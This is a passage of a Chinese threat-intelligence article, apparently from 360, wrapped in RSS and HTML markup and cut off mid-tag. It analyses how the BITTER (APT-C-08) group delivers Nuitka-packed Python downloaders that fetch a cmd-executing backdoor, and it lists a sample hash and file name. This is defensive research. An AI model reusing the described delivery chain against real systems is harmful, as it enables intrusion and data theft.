break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div></div></div><o:page></o:page></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Wed, 13 May 2026 17:33:00 +0800</pubDate>
    </item>
    <item>
      <title>蔓灵花组织使用NUITKA打包的python样本进行投递</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508516&amp;idx=1&amp;sn=a869f67294b5777615ad597c3730105e</link>
      <description>近期360安全大脑监测到多起蔓灵花组织攻击事件，通过直接投递NUITKA打包的python样本，或投递chm文件加载NUITKA打包的python样本</description>
      <content:encoded><![CDATA[<p><span>360威胁情报中心</span> <span>2026-04-29 17:13</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fae619e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEmmib7pWXrXIFcRVeEGqAcmkRqcoectUscfkIf0kVY92NWBV3Q550t0lEJ9adhXJ2MeoG0y0YG9RbSkWd2sGyyP50ib7wb6Dc0QtaVTAl22AQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>近期360安全大脑监测到多起蔓灵花组织攻击事件，通过直接投递NUITKA打包的python样本，或投递chm文件加载NUITKA打包的python样本</p>
  <div data-tools="135编辑器" data-id="102539" data-pm-slice="0 0 []"><div style="margin: 10px auto;text-align: left;"><div style="background: #f2f2f2;"><div style="box-sizing: border-box;padding:1em 1em;"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: #322828;margin-left: 12px;border-bottom: 1px solid #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">APT-C-08</span></strong></span></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf=""><span textstyle="" style="font-style: italic;">蔓灵花</span></span></strong></span></p></div></div><div data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;color: #000000;margin-top: 20px;" data-mpa-action-id="mo81cwbw1re6" data-pm-slice="0 0 []"><p style="vertical-align: inherit;padding: 0px;clear: both;color: #333333;font-weight: normal;font-size: 17px;text-indent: 28px;line-height: 1.5em;margin-top: 8px;margin-bottom: 8px;display: block;font-family:等线;text-align:justify;"><span style="padding: 0px;color: #333333;text-align: justify;line-height: 18.4px;font-size: 17px;font-family:仿宋;"><span mpa-font-style="mo19ftkt1qsq" style="font-size: 17px;"><span mpa-font-style="mo2j9i8s24nq" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" mpa-font-style="mo81cwb81a95" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;" data-mpa-action-id="mo81ajzo1d3g" data-pm-slice="0 0 []">APT-C-08（蔓灵花）组织（亦称 BITTER）是长期活跃于南亚方向、具备较强网络攻击能力的境外 APT 组织，自 2013 年起持续开展高级持续性威胁攻击活动。该组织攻击活动覆盖南亚及周边区域，长期针对政府部门、军工、国防、高校及涉外相关机构实施定向网络入侵。其攻击体系成熟，具备完善的武器库与攻击链路，是当前对区域网络安全具有持续高威胁的境外 APT 组织之一。</span></span></span></span></p><p style="vertical-align: inherit;padding: 0px;clear: both;color: #333333;font-weight: normal;font-size: 17px;text-indent: 28px;line-height: 1.5em;margin-top: 8px;margin-bottom: 8px;display: block;font-family:等线;text-align:justify;"><span style="padding: 0px;color: #333333;text-align: justify;line-height: 18.4px;font-size: 17px;font-family:仿宋;"><span mpa-font-style="mo19ftkta5o" style="font-size: 17px;"><span mpa-font-style="mo2j9i8sw64" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span mpa-font-style="mo81cu741nva" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span mpa-font-style="mo81cwb81851" style="font-size: 17px;"><span leaf="">近期</span><span lang="EN-US"><span leaf="">360</span></span><span leaf="">安全大脑监测到多起蔓灵花组织攻击事件，通过直接投递</span><span lang="EN-US"><span leaf="">NUITKA</span></span><span leaf="">打包的</span><span lang="EN-US"><span leaf="">python</span></span><span leaf="">样本</span><span leaf="">，或投递</span><span lang="EN-US"><span leaf="">chm</span></span><span leaf="">文件加载</span><span lang="EN-US"><span leaf="">NUITKA</span></span><span leaf="">打包的</span><span lang="EN-US"><span leaf="">python</span></span><span leaf="">样本。用户点击后，样本会下载后续后门组件。</span></span></span></span></span></span></p></div></div></div></div></div><h1 style="margin: 16px 0px;text-indent: 0px;line-height: 1.6em;"><span mpa-font-style="mo19dgou1ffv" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mo19lhfg1geo" data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span style="background-color: #be191f;color: #ffffff;font-weight: bold;font-size: 18px;" mpa-font-style="mo19lhf51c2h"><span leaf=""> 一、</span></span></span><span style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span style="background-color: #be191f;color: #ffffff;font-weight: bold;font-size: 18px;" mpa-font-style="mo19lhf56pf"><span leaf="">攻击活动分析 </span></span></span></span></h1><h2 style="margin: 16px 0px;text-indent: 0px;line-height: 1.6em;"><span mpa-font-style="mo19dgou1af6" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">1.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击流程分析</span></span></span></h2><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1u87">蔓灵花组织此类攻击的核心初始载荷为NUITKA打包的python样本，该文件功能简单，下载一个后门组件。该后门组件主要功能是执行cmd指令。攻击者通过远程执行cmd指令，从而进行以下操作：获取系统基本信息、后续后门组件下载、下载python脚本执行套件、下载窃密组件等。整个攻击流程如下图所示：</span><o:page></o:page></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.997179125528914" data-w="709" style="width: 553.74px;height: 552.21px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b3f18bc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKbIT3XdhFJmlGDlk9WkF0Y6tNnApphXMAQe0hE1SELsuPcicRIz5N96BrvFC66ftPPn9SzRFTw16kW5N6Vl7oYeV72via77Gxmk%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h2 style="margin: 16px 0px;text-indent: 0px;line-height: 1.6em;"><span mpa-font-style="mo19dgou1jps"><span leaf="" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.</span></span><span leaf="" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">恶意载荷分析</span></span></span></h2><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1zy0">捕获的恶意样本如下所示：</span></p><div style="margin-left: 0;margin-right: 0;"><div><div><div><div><div><div><div><p><table style="width:481px;"><tbody><tr><td data-colwidth="127"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">MD5</span></span></span></p></td><td data-colwidth="354"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">397591dd098f9240684f9a999e38eb12</span></span></span></p></td></tr><tr><td data-colwidth="127"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">文件名称</span></span></span></p></td><td data-colwidth="354"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">delivery_of_the_aviation_technical_equipment.exe</span></span></span></p></td></tr><tr><td data-colwidth="127"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">文件大小</span></span></span></p></td><td data-colwidth="354"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">5.72 MB (5999104 bytes)</span></span></span></p></td></tr><tr><td data-colwidth="127"><p><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">文件类型</span></span></span></p></td><td data-colwidth="354"><p data-mpa-action-id="mo2j9wnbyeu"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">exe</span></span></span></p></td></tr></tbody></table></p></div></div></div><p style="text-indent: 2em;"><span leaf="">1）样本为NUITKA打包的文件。</span></p></div></div></div></div><o:page></o:page></div><p data-remoteid="" data-asynid="" src="http://mmbiz.qpic.cn/mmbiz_png/Emmib7pWXrXIujJW62ssCmtI0pWorexTPF56E7D5kjm6vy8M2MWnHsJc4NUvbLBt0u6ziaujQzJvUXe3VgPc5kjiaCaYMdDdiaBFEfH1NslIm80/0?wx_fmt=png" data-src="" align="" alt="" border="" class="rich_pages wxw-img" data-ratio="0.2836734693877551" data-s="" data-type="" data-w="490" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" title="" type="" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-aistatus="" data-retry="" style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2836734693877551" data-w="490" style="width: 489.95px;height: 138.98px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4b6a1101&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIujJW62ssCmtI0pWorexTPF56E7D5kjm6vy8M2MWnHsJc4NUvbLBt0u6ziaujQzJvUXe3VgPc5kjiaCaYMdDdiaBFEfH1NslIm80%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgoudpm" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">打包的python版本为python312。NUITKA特征是会将组件释放到%TEMP%\onefile_XXXX_XXXXXXX文件夹中。</span></span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6026058631921825" data-w="614" style="width: 553.74px;height: 333.67px;" src="https://wechat2rss.xlab.app/img-proxy/?k=467a3267&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLteia7Opkc2ET2vwa0PNSny5CWc9iaTicHlfWibAcYFNFMv9Z54lBXjmxic1zicf9S1kYknoQsicZ8sutiaIUG05EswK2Ugl9rooNuOuY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou20jh" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">该样本核心功能是连接C2，获取C2命令执行。NUITKA打包python的逻辑，是将py脚本中每一行代码，都使用C语言进行实现。以这行代码为例“socket.socket(socket.AF_INET, socket.SOCK_STREAM)”（这也是relish_for_ketty的核心代码）：</span></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgousk2">首先是从模块列表中获取到socket的模块。</span><o:page></o:page></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.24328593996840442" data-w="633" style="width: 553.74px;height: 134.67px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1dd49ed4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJJqCCw2dZ9lmeT2aB3KwwtCiaZLibn4Lfcq3VF5NuTl0DyKP3WdibGRr6m0znvEYNI9icXRNng6Lj0F0RXSbibib9ZoIyoticsVgHbIw%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou15wf">从socket模块中，获取socket类。</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.30962962962962964" data-w="675" style="width: 553.74px;height: 171.4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=170d394c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLkqkW5kKaztkXJ5BLZjMhaN5fcZAmY6oxsPAibgYiatIgIlgibW7Mu4A2jJhwHt7zY2Ao7hJ8cfDvOU6WczIib42xFRGqlseUQSy4%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgouwe1">获取socket类中AddressFamily_type，等同于代码“socket.AF_INET”。</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25170068027210885" data-w="735" style="width: 553.74px;height: 139.34px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1060ef3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJItu4sG2QtK5qCcpzPmAsaicR2F5ByenIsoMGqH0qgEOqxyOlxXZA3u0Sh11KFib3OdH3ozUzsw28MoFegJxEchjOn3kujsS5V0%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1s1h">最后执行socket类的构造函数，创建一个socket对象。</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1867704280155642" data-w="771" style="width: 553.74px;height: 103.4px;" 